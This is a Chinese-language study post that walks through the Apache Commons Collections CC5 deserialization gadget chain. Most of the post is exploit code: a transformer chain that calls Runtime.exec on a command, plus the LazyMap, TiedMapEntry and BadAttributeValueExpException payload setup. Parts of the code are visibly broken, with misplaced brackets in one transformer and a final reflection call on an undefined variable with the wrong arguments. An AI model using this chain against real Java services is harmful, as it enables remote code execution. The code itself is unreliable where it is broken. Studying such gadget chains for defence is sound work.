前言:
Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。
前几天分析学习了一下CC1链子,今天在pte课余的时候学习了一下CC5链子,发现前半部分基本上和CC1基本链子都基本一致
这里先放一下前面的一段链子:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{
String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{
Object.class,Object[].class,new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
};
Transformer transformedChain = new ChainedTransformer(transformers);
前半段的实现逻辑就是主要靠ChainedTransformer的transformer方法完成链子的实现:
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object);
}
return object;
}
下半段的实现逻辑,靠调动TiedMapEntry的getValue(),getValue()又调用了get()方法:
public Object getValue()
{
return map.get(key);
}
而这里的get方法会去调用this,factory的transform方法,靠这里跟上半段完成了衔接,调用了ChainedTransformer,而getValue()方法会由TiedMapEntry的toString方法调用,接下来就是寻找readObject方法了,这里使用的是BadAttributeValueExpException的readObject方法。
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
接下来放下半段的poc了,分开放的目的是因为这篇文章主要是为了学习,所以不提供现成的poc了。
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformedChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"chd");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,badAttributeValueExpException);
希望各位师傅多多指点